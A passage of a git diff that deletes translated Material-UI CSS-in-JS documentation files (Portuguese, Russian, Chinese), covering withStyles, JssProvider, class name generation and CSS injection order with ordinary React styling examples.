-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default withStyles(styles)(MyComponent);
-```
-
-Also, you can use as [decorators](https://babeljs.io/docs/en/babel-plugin-proposal-decorators) like so:
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-@withStyles(styles)
-class MyComponent extends React.Component {
-  render () {
-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default MyComponent
-```
-
-### `createGenerateClassName([options]) => class name generator`
-
-A function which returns [a class name generator function](http://cssinjs.org/js-api/#generate-your-own-class-names).
-
-#### Argumentos
-
-1. `options` (*Object* [optional]): 
-    - `options.dangerouslyUseGlobalCSS` (*Boolean* [optional]): Defaults to `false`. Makes the Material-UI class names deterministic.
-    - `options.productionPrefix` (*String* [optional]): Defaults to `'jss'`. The string used to prefix the class names in production.
-    - `options.seed` (*String* [optional]): Defaults to `''`. The string used to uniquely identify the generator. It can be used to avoid class name collisions when using multiple generators.
-
-#### Returns
-
-`class name generator`: The generator should be provided to JSS.
-
-#### Exemplos
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { createGenerateClassName } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName({
-  dangerouslyUseGlobalCSS: true,
-  productionPrefix: 'c',
-});
-
-function App() {
-  return (
-    <JssProvider generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## Alternative APIs
-
-Você acha que os componentes [ higher-order são os novos mixins ](https://cdb.reacttraining.com/use-a-render-prop-50de598f11ce)? Rest assured we don't, however because `withStyles()` is a higher-order component, it can be extended with just a **few lines of code** to match different patterns that are all idiomatic React. Here are a couple of examples.
-
-### Render props API (+11 lines)
-
-The term [“render prop”](https://reactjs.org/docs/render-props.html) refers to a simple technique for sharing code between React components using a prop whose value is a function.
-
-```jsx
-// You will find the `createStyled` implementation in the source of the demo.
-const Styled = createStyled({
-  root: {
-    background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-    borderRadius: 3,
-    border: 0,
-    color: 'white',
-    height: 48,
-    padding: '0 30px',
-    boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-  },
-});
-
-function RenderProps() {
-  return (
-    <Styled>
-      {({ classes }) => (
-        <Button className={classes.root}>
-          {'Render props'}
-        </Button>
-      )}
-    </Styled>
-  );
-}
-```
-
-{{"demo": "pages/customization/css-in-js/RenderProps.js"}}
-
-Você pode acessar o tema da mesma maneira que faria com `withStyles`:
-
-```js
-const Styled = createStyled(theme => ({
-  root: {
-    backgroundColor: theme.palette.background.paper,
-  },
-}));
-```
-
-[@jedwards1211](https://github.com/jedwards1211) Has taken the time to move this module into a package: [material-ui-render-props-styles](https://github.com/jcoreio/material-ui-render-props-styles). Sinta-se livre para usá-lo.
-
-### styled-components API (+15 linhas)
-
-styled-components's API removes the mapping between components and styles. Using components as a low-level styling construct can be simpler.
-
-```jsx
-// You will find the `styled` implementation in the source of the demo.
-// You can even write CSS with https://github.com/cssinjs/jss-template.
-const MyButton = styled(Button)({
-  background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-  borderRadius: 3,
-  border: 0,
-  color: 'white',
-  height: 48,
-  padding: '0 30px',
-  boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-});
-
-function StyledComponents() {
-  return <MyButton>{'Styled Components'}</MyButton>;
-}
-```
-
-{{"demo": "pages/customization/css-in-js/StyledComponents.js"}}
-
-Você pode acessar o tema da mesma maneira que faria com `withStyles`:
-
-```js
-const MyButton = styled(Button)(theme => ({
-  backgroundColor: theme.palette.background.paper,
-}));
-```
\ No newline at end of file
diff --git a/docs/src/pages/customization/css-in-js/css-in-js-ru.md b/docs/src/pages/customization/css-in-js/css-in-js-ru.md
deleted file mode 100644
index a9ce1f33ebaadb..00000000000000
--- a/docs/src/pages/customization/css-in-js/css-in-js-ru.md
+++ /dev/null
@@ -1,402 +0,0 @@
-# CSS в JS
-
-<p class="description">Вы можете использовать наши стили, даже когда вы не используете компоненты.</p>
-
-> ⚠️ We are working on extracting the styling solution into it's own package: [`@material-ui/styles`](/css-in-js/basics/). Это нестабильный проект (альфа-версия). Hopefully, we will make it the default style implementation for the core components in Material-UI v4.
-
-Material-UI стремится обеспечить прочную основу для создания динамических интерфейсов. For the sake of simplicity, **we expose our styling solution to users**. You can use it, but you don't have to. This styling solution is [interoperable with](/guides/interoperability/) all the other major solutions.
-
-## Material-UI's styling solution
-
-In previous versions, Material-UI has used LESS, then a custom inline-style solution to write the style of the components, but these approaches have proven to be limited. Most recently, we have [moved toward](https://github.com/oliviertassinari/a-journey-toward-better-style) a *CSS-in-JS* solution. It **unlocks many great features** (theme nesting, dynamic styles, self-support, etc.). We think that it's the future:
-
-- [Унифицированный язык стилей](https://medium.com/seek-blog/a-unified-styling-language-d0c208de2660)
-- [The future of component-based styling](https://medium.freecodecamp.org/css-in-javascript-the-future-of-component-based-styling-70b161a79a32)
-- [Конвертировать SCSS (Sass) в CSS-in-JS](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
-
-Итак, вы могли заметить в демонстрации, как выглядит *CSS-in-JS*. We use the higher-order component created by [`withStyles`](#api) to inject an array of styles into the DOM as CSS, using JSS. Вот пример:
-
-{{"demo": "pages/customization/css-in-js/CssInJs.js"}}
-
-## JSS
-
-Material-UI's styling solution uses [JSS](https://github.com/cssinjs/jss) at its core. It's a [high performance](https://github.com/cssinjs/jss/blob/next/docs/performance.md) JS to CSS compiler which works at runtime and server-side. Это примерно 8 кб (минифицировано и сжато) и может расширяться с помощью [plugins](https://github.com/cssinjs/jss/blob/next/docs/plugins.md) API.
-
-If you end up using this styling solution in your codebase, you're going to need to *learn the API*. The best place to start is by looking at the features that each [plugin](https://cssinjs.org/plugins/) provides. Material-UI uses [few of them](#plugins). You can always add new plugins if needed with the [`JssProvider`](https://github.com/cssinjs/react-jss#custom-setup) helper.
-
-Если вы хотите создать свой собственный экземпляр `jss` **и** поддержку *rtl* убедитесь, что вы также включили [jss-rtl](https://github.com/alitaheri/jss-rtl) плагин. Проверьте [readme](https://github.com/alitaheri/jss-rtl#simple-usage) jss-rtl чтобы узнать как.
-
-## Реестр листов
-
-When rendering on the server, you will need to get all rendered styles as a CSS string. The `SheetsRegistry` class allows you to manually aggregate and stringify them. Read more about [Server Rendering](/guides/server-rendering/).
-
-## Sheets manager
-
-The sheets manager uses a [reference counting](https://en.wikipedia.org/wiki/Reference_counting) algorithm in order to attach and detach the style sheets only once per (styles, theme) couple. This technique provides an important performance boost when re-rendering instances of a component.
-
-When only rendering on the client, that's not something you need to be aware of. However, when rendering on the server you do. You can read more about [Server Rendering](/guides/server-rendering/).
-
-## Имена классов
-
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The following CSS won't work:
-
-```css
-.MuiAppBar-root-12 {
-  opacity: 0.6
-}
-```
-
-Instead, you have to use the `classes` property of a component to override them. On the other hand, thanks to the non-deterministic nature of our class names, we can implement optimizations for development and production. They are easy to debug in development and as short as possible in production:
-
-- development: `.MuiAppBar-root-12`
-- production: `.jss12`
-
-If you don't like this default behavior, you can change it. JSS relies on the concept of [class name generator](http://cssinjs.org/js-api/#generate-your-own-class-names).
-
-### Глобальный CSS
-
-We provide a custom implementation of the class name generator for Material-UI needs: [`createGenerateClassName()`](#creategenerateclassname-options-class-name-generator). As well as the option to make the class names **deterministic** with the `dangerouslyUseGlobalCSS` option. When turned on, the class names will look like this:
-
-- development: `.MuiAppBar-root`
-- production: `.MuiAppBar-root`
-
-⚠️ **Be cautious when using `dangerouslyUseGlobalCSS`.** We provide this option as an escape hatch for quick prototyping. Relying on it for code running in production has the following implications:
-
-- Global CSS is inherently fragile. People use strict methodologies like [BEM](http://getbem.com/introduction/) to workaround the issue.
-- It's harder to keep track of `classes` API changes.
-
-⚠️ When using `dangerouslyUseGlobalCSS` standalone (without Material-UI), you should name your style sheets. `withStyles` has a name option for that:
-
-```jsx
-const Button = withStyles(styles, { name: 'button' })(ButtonBase)
-```
-
-## CSS injection order
-
-The CSS injected by Material-UI to style a component has the highest specificity possible as the `<link>` is injected at the bottom of the `<head>` to ensure the components always render correctly.
-
-You might, however, also want to override these styles, for example with styled-components. Если у вас возникла проблема с порядком подключения CSS, JSS [предоставляет механизм](https://github.com/cssinjs/jss/blob/master/docs/setup.md#specify-the-dom-insertion-point) решающий эту проблему. By adjusting the placement of the `insertionPoint` within your HTML head you can [control the order](http://cssinjs.org/js-api/#attach-style-sheets-in-a-specific-order) that the CSS rules are applied to your components.
-
-### HTML-комментарий
-
-The simplest approach is to add an HTML comment that determines where JSS will inject the styles:
-
-```jsx
-<head>
-  <!-- jss-insertion-point -->
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### Другой HTML-элемент
-
-[Create React App](https://github.com/facebook/create-react-app) strips HTML comments when creating the production build. To get around the issue, you can provide a DOM element (other than a comment) as the JSS insertion point.
-
-For example, a `<noscript>` element:
-
-```jsx
-<head>
-  <noscript id="jss-insertion-point"></noscript>
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: document.getElementById('jss-insertion-point'),
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### JS createComment
-
-codesandbox.io prevents the access to the `<head>` element. To get around the issue, you can use the JavaScript `document.createComment()` API:
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const styleNode = document.createComment("jss-insertion-point");
-document.head.insertBefore(styleNode, document.head.firstChild);
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## JssProvider
-
-react-jss exposes a `JssProvider` component to configure JSS for the underlying child components. Есть разные варианты использования:
-
-- Providing a class name generator.
-- [Providing a Sheets registry.](/customization/css-in-js/#sheets-registry)
-- Providing a JSS instance. You might want to support [Right-to-left](/guides/right-to-left/) or changing the [CSS injection order](/customization/css-in-js/#css-injection-order). Read [the JSS documentation](http://cssinjs.org/js-api/) to learn more about the options available. Here is an example:
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create(jssPreset());
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## Дополнения
-
-JSS uses the concept of plugins to extend its core, allowing people to cherry-pick the features they need. You pay the performance overhead for only what's you are using. Given `withStyles` is our internal styling solution, all the plugins aren't available by default. We have added the following list:
-
-- [jss-global](http://cssinjs.org/jss-global/)
-- [jss-nested](http://cssinjs.org/jss-nested/)
-- [jss-camel-case](http://cssinjs.org/jss-camel-case/)
-- [jss-default-unit](http://cssinjs.org/jss-default-unit/)
-- [jss-vendor-prefixer](http://cssinjs.org/jss-vendor-prefixer/)
-- [jss-props-sort](http://cssinjs.org/jss-props-sort/)
-
-It's a subset of [jss-preset-default](http://cssinjs.org/jss-preset-default/). Of course, you are free to add a new plugin. We have one example for the [`jss-rtl` plugin](/guides/right-to-left/#3--jss-rtl).
-
-## API
-
-### `withStyles(styles, [options]) => higher-order component`
-
-Link a style sheet with a component. It does not modify the component passed to it; instead, it returns a new component with a `classes` property. This `classes` object contains the name of the class names injected in the DOM.
-
-Некоторые детали реализации, которые могут быть интересны для понимания:
-
-- It adds a `classes` property so you can override the injected class names from the outside.
-- It adds an `innerRef` property so you can get a reference to the wrapped component. The usage of `innerRef` is identical to `ref`.
-- It forwards *non React static* properties so this HOC is more "transparent". For instance, it can be used to defined a `getInitialProps()` static method (next.js).
-
-#### Аргументы
-
-1. `styles` (*Function | Object*): A function generating the styles or a styles object. Это будет связано с компонентом. Use the function signature if you need to have access to the theme. It's provided as the first argument.
-2. `options` (*Object* [optional]): 
-    - `options.withTheme` (*Boolean* [optional]): Defaults to `false`. Provide the `theme` object to the component as a property.
-    - `options.name` (*String* [optional]): The name of the style sheet. Полезно для отладки. If the value isn't provided, it will try to fallback to the name of the component.
-    - `options.flip` (*Boolean* [optional]): When set to `false`, this sheet will opt-out the `rtl` transformation. When set to `true`, the styles are inversed. When set to `null`, it follows `theme.direction`.
-    - The other keys are forwarded to the options argument of [jss.createStyleSheet([styles], [options])](http://cssinjs.org/js-api/#create-style-sheet).
-
-#### Возвращает
-
-`компонент высшего порядка`: следует использовать, чтобы обернуть компонент.
-
-#### Примеры
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-class MyComponent extends React.Component {
-  render () {
-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default withStyles(styles)(MyComponent);
-```
-
-Also, you can use as [decorators](https://babeljs.io/docs/en/babel-plugin-proposal-decorators) like so:
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-@withStyles(styles)
-class MyComponent extends React.Component {
-  render () {
-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default MyComponent
-```
-
-### `createGenerateClassName([options]) => class name generator`
-
-A function which returns [a class name generator function](http://cssinjs.org/js-api/#generate-your-own-class-names).
-
-#### Аргументы
-
-1. `options` (*Object* [optional]): 
-    - `options.dangerouslyUseGlobalCSS` (*Boolean* [optional]): Defaults to `false`. Makes the Material-UI class names deterministic.
-    - `options.productionPrefix` (*String* [optional]): Defaults to `'jss'`. The string used to prefix the class names in production.
-    - `options.seed` (*String* [optional]): Defaults to `''`. The string used to uniquely identify the generator. It can be used to avoid class name collisions when using multiple generators.
-
-#### Возвращает
-
-`class name generator`: The generator should be provided to JSS.
-
-#### Примеры
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { createGenerateClassName } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName({
-  dangerouslyUseGlobalCSS: true,
-  productionPrefix: 'c',
-});
-
-function App() {
-  return (
-    <JssProvider generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## Альтернативные API
-
-Do you think that [higher-order components are the new mixins](https://cdb.reacttraining.com/use-a-render-prop-50de598f11ce)? Rest assured we don't, however because `withStyles()` is a higher-order component, it can be extended with just a **few lines of code** to match different patterns that are all idiomatic React. Вот несколько примеров.
-
-### Render props API (+11 lines)
-
-The term [“render prop”](https://reactjs.org/docs/render-props.html) refers to a simple technique for sharing code between React components using a prop whose value is a function.
-
-```jsx
-// You will find the `createStyled` implementation in the source of the demo.
-const Styled = createStyled({
-  root: {
-    background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-    borderRadius: 3,
-    border: 0,
-    color: 'white',
-    height: 48,
-    padding: '0 30px',
-    boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-  },
-});
-
-function RenderProps() {
-  return (
-    <Styled>
-      {({ classes }) => (
-        <Button className={classes.root}>
-          {'Render props'}
-        </Button>
-      )}
-    </Styled>
-  );
-}
-```
-
-{{"demo": "pages/customization/css-in-js/RenderProps.js"}}
-
-You can access the theme the same way you would do it with `withStyles`:
-
-```js
-const Styled = createStyled(theme => ({
-  root: {
-    backgroundColor: theme.palette.background.paper,
-  },
-}));
-```
-
-[@jedwards1211](https://github.com/jedwards1211) Has taken the time to move this module into a package: [material-ui-render-props-styles](https://github.com/jcoreio/material-ui-render-props-styles). Feel free to use it.
-
-### styled-components API (+15 linhas)
-
-styled-components's API removes the mapping between components and styles. Using components as a low-level styling construct can be simpler.
-
-```jsx
-// You will find the `styled` implementation in the source of the demo.
-// You can even write CSS with https://github.com/cssinjs/jss-template.
-const MyButton = styled(Button)({
-  background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-  borderRadius: 3,
-  border: 0,
-  color: 'white',
-  height: 48,
-  padding: '0 30px',
-  boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-});
-
-function StyledComponents() {
-  return <MyButton>{'Styled Components'}</MyButton>;
-}
-```
-
-{{"demo": "pages/customization/css-in-js/StyledComponents.js"}}
-
-You can access the theme the same way you would do it with `withStyles`:
-
-```js
-const MyButton = styled(Button)(theme => ({
-  backgroundColor: theme.palette.background.paper,
-}));
-```
\ No newline at end of file
diff --git a/docs/src/pages/customization/css-in-js/css-in-js-zh.md b/docs/src/pages/customization/css-in-js/css-in-js-zh.md
deleted file mode 100644
index cd3e4ae17ffdce..00000000000000
--- a/docs/src/pages/customization/css-in-js/css-in-js-zh.md
+++ /dev/null
@@ -1,402 +0,0 @@
-# JS 中的 CSS (CSS-in-JS)
-
-<p class="description">即使您没有使用我们的组件, 您也可以利用我们的样式解决方案。</p>
-
-> ⚠️我们正在努力将样式解决方案提取到它自己的包中：[`@material-ui/styles`](/css-in-js/basics/) 。 这是一个不稳定的项目（alpha版本）。 希望我们将它作为Material-UI v4中核心组件的默认样式实现。
-
-Material-UI 旨在为构建动态 UI 提供强大的基础。 为了简单起见, **我们向用户公开我们的样式解决方案 **。 你可以使用它，但是你不需要这样做。 该样式解决方案可[与所有其他主要解决方案](/guides/interoperability/)互操作
-
-## Material-UI 的样式解决方案
-
-在以前的版本中，Material-UI 曾使用过 LESS，以及而后的自定义内嵌式来编写组件的样式。但是这些方法已被证明了其局限性。 最近，我们开始向*CSS-in-JS*解决方案方向转移。 它**解锁了许多很棒的功能**（主题嵌套、动态样式、自我支持等...） 我们认为这是未来：
-
-- [统一的样式语言](https://medium.com/seek-blog/a-unified-styling-language-d0c208de2660)
-- [基于组件样式的未来](https://medium.freecodecamp.org/css-in-javascript-the-future-of-component-based-styling-70b161a79a32)
-- [将 SCSS（Sass）转换为 CSS-in-JS](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
-
-因此，你可能在演示中注意到*CSS-in-JS*的样子。 我们使用由[`wtihStyles`](#api)创建的高阶组件以CSS的形式注入到DOM中，使用JSS。 下面是一个例子：
-
-{{"demo": "pages/customization/css-in-js/CssInJs.js"}}
-
-## JSS
-
-Material-UI 的样式解决方案的核心处是使用 [JSS](https://github.com/cssinjs/jss)。 它是一个在运行时和服务器端工作工作的，[高性能的](https://github.com/cssinjs/jss/blob/next/docs/performance.md) JS 到 CSS 编译器。 它大约是8kb（缩小和压缩）并且可以通过[插件](https://github.com/cssinjs/jss/blob/next/docs/plugins.md)的API扩展。
-
-如果您最终在代码库中使用此样式解决方案，则需要*学习这组 API*。 最好的开始是查看每个[插件](https://cssinjs.org/plugins/)提供的功能。 Material-UI 使用了[其中少数几个](#plugins)。 如果需要，您可以随时使用 [`JssProvider`](https://github.com/cssinjs/react-jss#custom-setup) 帮助程序添加新插件。
-
-如果您希望构建自己的`jss`**和**支持*rtl*的实例，请确保您还包含[jss-rtl](https://github.com/alitaheri/jss-rtl)的插件。 请查阅jss-rtl的[Readme](https://github.com/alitaheri/jss-rtl#simple-usage)去了解如何使用。
-
-## Sheets 注册
-
-在服务器上渲染时，您需要将所有渲染样式作为CSS字符串。 `SheetsRegistry`允许你手动聚合和字符串化它们。 了解更多[Server Rendering](/guides/server-rendering/)
-
-## Sheets 管理器
-
-Sheets 管理器使用[引用计数](https://en.wikipedia.org/wiki/Reference_counting)算法，以便每个（样式，主题）对只附加和分离样式表一次。 在重新渲染组件的实例时，此技术可提供重要的性能提升。
-
-当只在客户端上呈现时，这不是您需要注意的事情。 但是，在服务器上进行渲染时。 你要了解更多[Server Rendering](/guides/server-rendering/)。
-
-## Class names
-
-您可能已经注意到我们的样式解决方案生成的类名称**不确定性**，所以你不能依赖它们保持不变。 以下 CSS 不工作：
-
-```css
-.MuiAppBar-root-12 {
-  opacity: 0.6
-}
-```
-
-相反，您必须使用组件的 `classes` 属性来覆盖它们。 另一方面, 由于类名的非确定性性质, 我们 可以实现对开发和生产的优化。 它们在开发中易于调试, 在生产中尽可能短:
-
-- 开发：`.MuiAppBar-root-12`
-- 生产：`.jss12`
-
-如果您不喜欢此默认行为, 您可以更改它。 JSS依赖于[类名生成器](http://cssinjs.org/js-api/#generate-your-own-class-names)的概念。
-
-### 全局CSS
-
-我们为Material-UI 需要提供类名称生成器的自定义实现: [`createGenerateClassName()`](#creategenerateclassname-options-class-name-generator)。 以及使用`dangerouslyUseGlobalCSS`选项使类名**确定性**的选项。 打开后, 类名将如下所:
-
-- 开发：`.MuiAppBar-root-`
-- 生产: `.MuiAppBar-root`
-
-⚠️ **使用 `dangerouslyUseGlobalCSS` 时要格外小心。** 我们提供此选项作为快速原型制作的孵化器。 依赖于它的代码在生产中运行有以下含义:
-
-- 全局CSS本质上是很弱的 人们使用严格的方法, 如 [BEM](http://getbem.com/introduction/) 来解决问题。
-- 很难跟踪`classes`API的更改。
-
-⚠️独立使用`dangerouslyUseGlobalCSS`(不含Material-UI) 时, 应为样式表命名。 ` withStyles`具有以下名称选项:
-
-```jsx
-const Button = withStyles(styles, { name: 'button' })(ButtonBase)
-```
-
-## CSS 注入顺序
-
-由Material-UI 注入的 CSS 对组件的样式具有最高的特异性, 因为`<link>`被注入到`<head>`的底部, 以确保组件始终正确呈现。
-
-但是, 您可能还希望重写这些样式, 例如使用styled-components。 如果遇到 CSS 注入顺序问题, JSS[提供了一个机制](https://github.com/cssinjs/jss/blob/master/docs/setup.md#specify-the-dom-insertion-point)来处理这种情况。 通过调整 HTML 头中 ` insertionPoint ` 的位置, 可以 [ 控制顺序 ](http://cssinjs.org/js-api/#attach-style-sheets-in-a-specific-order) 将 CSS 规则应用于组件。
-
-### HTML 注释
-
-最简单的方法是添加一个 HTML 注释, 用于确定 JSS 将在何处插入样式:
-
-```jsx
-<head>
-  <!-- jss-insertion-point -->
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-//我们定义一个自定义插入点，JSS将寻找在DOM中注入样式。
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### 其他 HTML 元素
-
-创建生产环境时, [Create React App](https://github.com/facebook/create-react-app) 会剥离 HTML 注释。 若要变通解决此问题, 您可以提供 DOM 元素 (注释以外) 作为 JSS 插入点。
-
-例如, `<noscript>` 元素:
-
-```jsx
-<head>
-  <noscript id="jss-insertion-point"></noscript>
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-//我们定义一个自定义插入点，JSS将寻找在DOM中注入样式。
-  insertionPoint: document.getElementById('jss-insertion-point'),
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### JS createComment
-
-codesandbox.io 阻止对 `<head>` 元素的访问。 若要变通解决此问题, 您可以使用 JavaScript ` 文档. createComment () ` API:
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const styleNode = document.createComment("jss-insertion-point");
-document.head.insertBefore(styleNode, document.head.firstChild);
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-//我们定义一个自定义插入点，JSS将寻找在DOM中注入样式。
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## JssProvider
-
-react-jss 公开一个 ` JssProvider ` 组件, 以便为基础子组件配置 jss。 有不同的用例:
-
-- 提供类名生成器。
-- [提供Sheets注册。](/customization/css-in-js/#sheets-registry)
-- 提供JSS例子 您可能希望支持[从右到左](/guides/right-to-left/)或更改[ CSS注入顺序](/customization/css-in-js/#css-injection-order)。 阅读[JSS文档](http://cssinjs.org/js-api/)以了解有关可用选项的更多信息。 下面是一个示例：
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create(jssPreset());
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## 插件
-
-JSS使用插件的概念来扩展其核心，允许人们挑选他们需要的功能。 你仅为你正在使用的内容支付性能开销。 给定`withStyles`是我们的内部样式解决方案，默认情况下所有插件都不可用。 我们添加了以下列表：
-
-- [jss-global](http://cssinjs.org/jss-global/)
-- [jss-nested](http://cssinjs.org/jss-nested/)
-- [jss-camel-case](http://cssinjs.org/jss-camel-case/)
-- [jss-default-unit](http://cssinjs.org/jss-default-unit/)
-- [jss-vendor-prefixer](http://cssinjs.org/jss-vendor-prefixer/)
-- [jss-props-sort](http://cssinjs.org/jss-props-sort/)
-
-它是 [jss-preset-default](http://cssinjs.org/jss-preset-default/) 的子集。 当然，你可以自由的添加新插件。 我们有一个[`jss-rtl`插件](/guides/right-to-left/#3--jss-rtl)的例子。
-
-## API
-
-### `withStyles(styles, [options]) => higher-order component`
-
-将样式表与组件连接。 它不会修改传递给它的组件；相反，它返回一个具有`classes`属性的新组件。 这个`classes`对象包含DOM中注入的class名称。
-
-一些可能有趣的实现细节：
-
-- 它添加了一个 `classes` 属性，因此您可以从外部覆盖注入的类名。
-- 它添加了一个 `innerRef` 属性，因此你可以从外部覆盖注入的类名。 ` innerRef ` 的用法与 `ref` 相同。
-- 它将转发*非 React 的静态* 属性，以便 HOC 更 "透明"。 例如，它可用于定义 ` getInitialProps()` 静态方法 (next.js)。
-
-#### 参数
-
-1. ` styles `(* Function | Object *): 生成样式或样式对象的函数。 它将链接到组件。 如果需要访问主题, 请使用函数签名。 它作为第一个参数提供。
-2. `选项` (*Object* [optional]): 
-    - ` options.withTheme ` (*Boolean* [optional]): 默认值为 `false`。 将 ` theme ` 对象作为属性提供给组件。
-    - ` options.name ` (*String* [optional]): 样式表的名称。 用于调试。 如果未提供该值, 它将尝试回退到组件的名称。
-    - `options.flip` (*Boolean* [optional])：当设置为 `false` 时, 此工作表将选择退出 ` rtl ` 转换。 如果设置为 ` true `, 则会反转样式。 当设置为`null`，它跟随`theme.direction`。
-    - 其他键被转发到[jss.createStyleSheet([styles], [options])](http://cssinjs.org/js-api/#create-style-sheet)。
-
-#### 返回结果
-
-`higher-order component`：应用于包装组件。
-
-#### 例子
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-class MyComponent extends React.Component {
-  render () {
-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default withStyles(styles)(MyComponent);
-```
-
-此外, 还可以像这样使用 [修饰器](https://babeljs.io/docs/en/babel-plugin-proposal-decorators):
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-@withStyles(styles)
-class MyComponent extends React.Component {
-  render () {
-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default MyComponent
-```
-
-### `createGenerateClassName([options]) => class name generator`
-
-返回 [ 类名称生成器函数 ](http://cssinjs.org/js-api/#generate-your-own-class-names) 的函数。
-
-#### 参数
-
-1. `选项` (*Object* [optional]): 
-    - `options.dangerouslyUseGlobalCSS` (*Boolean* [optional]): 默认值为`false`。 使Material-UI 类名称具有确定性。
-    - `options.productionPrefix` (*String* [optional])：初始值为`'jss'`. 用于在生产中对类名称进行前缀的字符串。
-    - `options.seed` (*String* [optional])：初始值为 `''`. 用于唯一标识生成器的字符串。 当使用多个生成器时，它可用于避免类名冲突。
-
-#### 返回结果
-
-`类名生成器`：应该将生成器提供给JSS。
-
-#### 例子
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
